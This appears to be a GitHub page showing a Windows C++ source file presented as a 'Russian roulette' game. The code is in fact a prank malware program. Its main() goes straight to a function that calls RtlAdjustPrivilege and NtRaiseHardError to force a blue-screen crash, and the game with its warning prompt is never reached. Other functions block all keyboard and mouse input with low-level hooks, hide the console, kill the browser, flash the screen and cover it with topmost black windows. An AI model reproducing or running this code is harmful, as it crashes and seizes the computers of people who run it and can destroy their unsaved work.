-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathRussainRullet.cpp
More file actions
493 lines (410 loc) · 16 KB
/
RussainRullet.cpp
File metadata and controls
493 lines (410 loc) · 16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
// RussainRullet.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <Windows.h>
#include <winternl.h>
#include <stdlib.h>
#include <time.h>
#include <iostream>
#include <cstdlib>
#include <ctime>
#include <string>
/// death
#define SHUTDOWN_PRIVILEGE 19
#define OPTION_SHUTDOWN 6
typedef NTSTATUS //Return type
(NTAPI* pdef_RtlAdjustPrivilege) //Name
(ULONG Privilege, //Arugments below
BOOLEAN Enable,
BOOLEAN CurrentThread,
PBOOLEAN Enabled);
typedef NTSTATUS //Return type
(NTAPI* pdef_NtRaiseHardError) //Name
(NTSTATUS ErrorStatus, //Arugments below
ULONG NumberOfParameters,
ULONG UnicodeStringParameterMask OPTIONAL,
PULONG_PTR Parameters,
ULONG ResponseOption,
PULONG Response);
void crasher() {
//Stores return values of our nt calls
BOOLEAN bEnabled;
ULONG uResp;
//Get raw function pointers from ntdll
LPVOID lpFuncAddress1 = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlAdjustPrivilege");
LPVOID lpFuncAddress2 = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtRaiseHardError");
//Create functions using above grabbed function pointers
pdef_RtlAdjustPrivilege RtlAdjustPrivilege = (pdef_RtlAdjustPrivilege)lpFuncAddress1;
pdef_NtRaiseHardError NtRaiseHardError = (pdef_NtRaiseHardError)lpFuncAddress2;
//Elevate the current process privledge to that required for system shutdown
RtlAdjustPrivilege(SHUTDOWN_PRIVILEGE, TRUE, FALSE, &bEnabled);
//Call NtRaiseHardError with a floating point exception, causes BSOD
NtRaiseHardError(STATUS_FLOAT_MULTIPLE_FAULTS, 0, 0, 0, OPTION_SHUTDOWN, &uResp);
}
//death
void setMousePosition(int x, int y) {
SetCursorPos(x, y);
}
int getRandom(int min, int max) {
return (rand() % (max - min + 1)) + min;
}
void playSound(const char* sound) {
Beep(500, 200); // Basic beep as a placeholder
}
// troll
void mousue() {
srand((unsigned int)time(NULL)); // Seed random number generator
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
for (int i = 0; i < 10; i++) { // Move mouse 10 times
int newX = getRandom(0, screenWidth);
int newY = getRandom(0, screenHeight);
setMousePosition(newX, newY);
Sleep(1); // Pause for 500ms between movements
}
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}
// volume and defoucusing
void defocusAll() {
INPUT WinD[4]{};
WinD[0].type = INPUT_KEYBOARD; WinD[0].ki.wVk = VK_LWIN;
WinD[1].type = INPUT_KEYBOARD; WinD[1].ki.wVk = 'D';
WinD[2].type = INPUT_KEYBOARD; WinD[2].ki.wVk = 'D'; WinD[2].ki.dwFlags = KEYEVENTF_KEYUP;
WinD[3].type = INPUT_KEYBOARD; WinD[3].ki.wVk = VK_LWIN; WinD[3].ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(4, WinD, sizeof(INPUT));
}
void simulateVolumeDownToZero() {
// Simulate pressing the "Volume Down" key multiple times to turn the volume to 0
for (int i = 0; i < 100; ++i) {
// Create an INPUT structure for key press
INPUT input = { 0 };
input.type = INPUT_KEYBOARD;
input.ki.wVk = VK_VOLUME_DOWN; // Virtual key code for Volume Down
input.ki.dwFlags = 0; // Key press event
// Send the key press event
SendInput(1, &input, sizeof(INPUT));
// Create an INPUT structure for key release
input.ki.dwFlags = KEYEVENTF_KEYUP; // Key release event
// Send the key release event
SendInput(1, &input, sizeof(INPUT));
// Wait a little before sending the next event
Sleep(0); // 10ms delay between key presses to simulate real input speed
}
}
void simulateVolumeUp() {
// Simulate pressing the "Volume Up" key multiple times
for (int i = 0; i < 100; ++i) {
// Create an INPUT structure for key press
INPUT input = { 0 };
input.type = INPUT_KEYBOARD;
input.ki.wVk = VK_VOLUME_UP; // Virtual key code for Volume Up
input.ki.dwFlags = 0; // Key press event
// Send the key press event
SendInput(1, &input, sizeof(INPUT));
// Create an INPUT structure for key release
input.ki.dwFlags = KEYEVENTF_KEYUP; // Key release event
// Send the key release event
SendInput(1, &input, sizeof(INPUT));
// Wait a little before sending the next event
Sleep(0); // 100ms delay between key presses
}
}
// Audio Stuuf
void OpenBrowserWithUrl(const std::wstring& url, int waitTimeMs = 2000) {
// Launch Edge with the URL
HINSTANCE result = ShellExecute(
NULL, // Parent window handle (NULL for desktop)
L"open", // Operation to perform
L"msedge.exe", // Application to execute (Edge instead of Chrome)
url.c_str(), // Command line parameters (the URL)
NULL, // Default directory
SW_SHOWNORMAL // Show window command
);
// Check if the launch was successful (result > 32 means success)
if ((intptr_t)result <= 32) {
std::wcerr << L"Failed to launch Edge. Error code: " << (intptr_t)result << std::endl;
return;
}
// Wait for Edge to open (adjust timing as needed)
Sleep(waitTimeMs);
// Find the Edge window
// Note: Edge's window title starts with the page title, similar to Chrome
HWND edgeWindow = NULL;
// Enumerate all windows to find Edge
EnumWindows([](HWND hwnd, LPARAM lParam) -> BOOL {
const int bufSize = 256;
wchar_t windowTitle[bufSize];
// Get window title
GetWindowText(hwnd, windowTitle, bufSize);
std::wstring title = windowTitle;
// Check if this is an Edge window (title ends with "- Microsoft Edge")
if (title.find(L"- Microsoft Edge") != std::wstring::npos) {
// Store the window handle in lParam
*((HWND*)lParam) = hwnd;
return FALSE; // Stop enumeration
}
return TRUE; // Continue enumeration
}, (LPARAM)&edgeWindow);
if (!edgeWindow) {
// Try to find a more generic Edge window if specific title wasn't found
edgeWindow = FindWindow(L"Chrome_WidgetWin_1", NULL); // Edge also uses Chrome_WidgetWin_1
}
if (edgeWindow) {
// Ensure window is in foreground before sending keystrokes
SetForegroundWindow(edgeWindow);
// Small delay to ensure window is active
Sleep(500);
// Send a space key press
//INPUT input[2] = {};
// Space key down
//input[0].type = INPUT_KEYBOARD;
//input[0].ki.wVk = VK_SPACE;
// Space key up
//input[1].type = INPUT_KEYBOARD;
//input[1].ki.wVk = VK_SPACE;
//input[1].ki.dwFlags = KEYEVENTF_KEYUP;
//SendInput(2, input, sizeof(INPUT));
//Sleep(10); // this youtube not autoplaying
//INPUT _input[2] = {};
// Space key down
//_input[0].type = INPUT_KEYBOARD;
//_input[0].ki.wVk = VK_SPACE;
// Space key up
//_input[1].type = INPUT_KEYBOARD;
//_input[1].ki.wVk = VK_SPACE;
//_input[1].ki.dwFlags = KEYEVENTF_KEYUP;
//SendInput(2, _input, sizeof(INPUT));
// Wait briefly
Sleep(0);
// Minimize the window
ShowWindow(edgeWindow, SW_MINIMIZE);
std::wcout << L"Successfully opened Edge, pressed space, and minimized window." << std::endl;
}
else {
std::wcerr << L"Edge window not found. It may have a different title or not be open yet." << std::endl;
}
}
//gdi stuff
void flashScreenYellowRedBlack() {
for (int i = 0; i < 25; ++i) {
// Enumerate all displays and flash them simultaneously
EnumDisplayMonitors(NULL, NULL,
[](HMONITOR hMonitor, HDC hdcMonitor, LPRECT lprcMonitor, LPARAM dwData) -> BOOL {
// Get the monitor information
MONITORINFO monitorInfo = { sizeof(MONITORINFO) };
if (GetMonitorInfo(hMonitor, &monitorInfo)) {
// Yellow flash on this monitor
HDC hdc = CreateDC(TEXT("DISPLAY"), NULL, NULL, NULL);
if (hdc) {
RECT monitorRect = monitorInfo.rcMonitor;
HBRUSH hBrush = CreateSolidBrush(RGB(255, 255, 0)); // Yellow
FillRect(hdc, &monitorRect, hBrush);
DeleteObject(hBrush);
DeleteDC(hdc);
}
}
return TRUE; // Continue enumeration
}, 0);
Sleep(1); // Wait for 10ms
// Red flash on all monitors
EnumDisplayMonitors(NULL, NULL,
[](HMONITOR hMonitor, HDC hdcMonitor, LPRECT lprcMonitor, LPARAM dwData) -> BOOL {
MONITORINFO monitorInfo = { sizeof(MONITORINFO) };
if (GetMonitorInfo(hMonitor, &monitorInfo)) {
HDC hdc = CreateDC(TEXT("DISPLAY"), NULL, NULL, NULL);
if (hdc) {
RECT monitorRect = monitorInfo.rcMonitor;
HBRUSH hBrush = CreateSolidBrush(RGB(255, 0, 0)); // Red
FillRect(hdc, &monitorRect, hBrush);
DeleteObject(hBrush);
DeleteDC(hdc);
}
}
return TRUE;
}, 0);
Sleep(1); // Wait for 10ms
// Black flash on all monitors
EnumDisplayMonitors(NULL, NULL,
[](HMONITOR hMonitor, HDC hdcMonitor, LPRECT lprcMonitor, LPARAM dwData) -> BOOL {
MONITORINFO monitorInfo = { sizeof(MONITORINFO) };
if (GetMonitorInfo(hMonitor, &monitorInfo)) {
HDC hdc = CreateDC(TEXT("DISPLAY"), NULL, NULL, NULL);
if (hdc) {
RECT monitorRect = monitorInfo.rcMonitor;
HBRUSH hBrush = CreateSolidBrush(RGB(0, 0, 0)); // Black
FillRect(hdc, &monitorRect, hBrush);
DeleteObject(hBrush);
DeleteDC(hdc);
}
}
return TRUE;
}, 0);
Sleep(1); // Wait for 10ms
}
}
HWND CreateBlackScreen()
{
HWND hwnd = CreateWindowEx(
WS_EX_TOPMOST, // Make the window always on top
L"STATIC", // Window class (use static text as a class)
L"Black Screen", // Window title (doesn't matter here)
WS_POPUP | WS_VISIBLE, // Make it a borderless, visible window
0, 0, // Position the window (top-left corner)
GetSystemMetrics(SM_CXSCREEN), // Full screen width
GetSystemMetrics(SM_CYSCREEN), // Full screen height
NULL, // Parent window (none)
NULL, // Menu (none)
NULL, // Instance (default)
NULL // Additional data (none)
);
// Fill the window with black color
HDC hdc = GetDC(hwnd);
RECT rect;
GetClientRect(hwnd, &rect);
FillRect(hdc, &rect, (HBRUSH)GetStockObject(BLACK_BRUSH)); // Use BLACK_BRUSH here
ReleaseDC(hwnd, hdc);
// Optional: Prevent closing the black screen window with Alt+F4
SetWindowLong(hwnd, GWL_STYLE, WS_POPUP);
SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
return hwnd;
}
void HideBlackScreen(HWND hwnd)
{
if (hwnd != NULL) // Ensure hwnd is valid before attempting to destroy the window
{
DestroyWindow(hwnd); // Close the black screen window
}
}
// Keyboard disabler
HHOOK keyboardHook;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
// Block specific keys or all keys
return 1; // Return 1 to block the key event
}
}
return CallNextHookEx(keyboardHook, nCode, wParam, lParam);
}
void SetKeyboardHook() {
keyboardHook = SetWindowsHookExA(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
if (keyboardHook == NULL) {
std::cerr << "Failed to set hook!" << std::endl;
}
}
void RemoveKeyboardHook() {
UnhookWindowsHookEx(keyboardHook);
}
//Mouse Disable/enabler
HHOOK mouseHook;
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
// Block mouse events if needed
return 1; // Return 1 to block the event
}
return CallNextHookEx(mouseHook, nCode, wParam, lParam);
}
void SetMouseHook() {
mouseHook = SetWindowsHookExA(WH_MOUSE_LL, MouseProc, NULL, 0);
if (mouseHook == NULL) {
std::cerr << "Failed to set hook!" << std::endl;
}
}
void RemoveMouseHook() {
UnhookWindowsHookEx(mouseHook);
}
void skull() {
crasher();
}
void _skull() {
//system("taskkill /f /im explorer.exe");
system("taskkill /f /im msedge.exe");
HWND hwndBlackScreen = NULL;
hwndBlackScreen = CreateBlackScreen();
Stealth(); //Uncomment to hide console window
simulateVolumeDownToZero();//set vol it 0
simulateVolumeUp();// set vol to 100
defocusAll();//deafus all windows
std::wstring url = L"https://www.youtube.com/embed/w2vm1lcQMxk?autoplay=1";
OpenBrowserWithUrl(url, 400);
Sleep(1000);
defocusAll();
HideBlackScreen(hwndBlackScreen);
flashScreenYellowRedBlack();
HWND _hwndBlackScreen = NULL;
_hwndBlackScreen = CreateBlackScreen();
crasher();
std::cout << "You are dead\n";
Sleep(10000);
HideBlackScreen(_hwndBlackScreen);
//flashScreenYellowRedBlack();
//crasher goes here
// crasher goes here
}
void playRussianRoulette(int bullets) {
srand(time(0));
int chamber = rand() % 6; // Random chamber with bullet
int choice;
std::cout << "Russian Roulette!1 bullet in " << bullets << " chambers.\n";
std::cout << "Spinning the cylinder...\n";
Sleep(1000); // Delay for dramatic effect
playSound("spin");
while (true) {
std::cout << "Press 1 to pull the trigger, 0 to quit: ";
std::cin >> choice;
if (choice == 0) {
std::cout << "pussy";
skull();
break;
}
std::cout << "Pulling the trigger...\n";
Sleep(1000); // Pause before the result
int spin = rand() % 6;
if (spin == chamber) {
std::cout << "💥 BANG! You're dead.\n";
playSound("bang");
skull();
break;
}
else {
std::cout << "🫢 Click... You're safe!\n";
playSound("click");
}
system("cls");
}
}
int _main()
{
//warn the user
std::cout << "This program will crash your computer\n";
std::cout << "Do you want to continue? (y/n)\n";
char c;
std::cin >> c;
if (c == 'n') {
std::cout << "Goodbye\n";
return 0;
}
else if (c == 'y') {
std::cout << "You have been warned\n";
int bullets = 1; // Default 1 bullet
playRussianRoulette(bullets);
return 0;
}
}
int main() {
skull();
}
// Run program: Ctrl + F5 or Debug > Start Without Debugging menu
// Debug program: F5 or Debug > Start Debugging menu
// Tips for Getting Started:
// 1. Use the Solution Explorer window to add/manage files
// 2. Use the Team Explorer window to connect to source control
// 3. Use the Output window to see build output and other messages
// 4. Use the Error List window to view errors
// 5. Go to Project > Add New Item to create new code files, or Project > Add Existing Item to add existing code files to the project
// 6. In the future, to open this project again, go to File > Open > Project and select the .sln file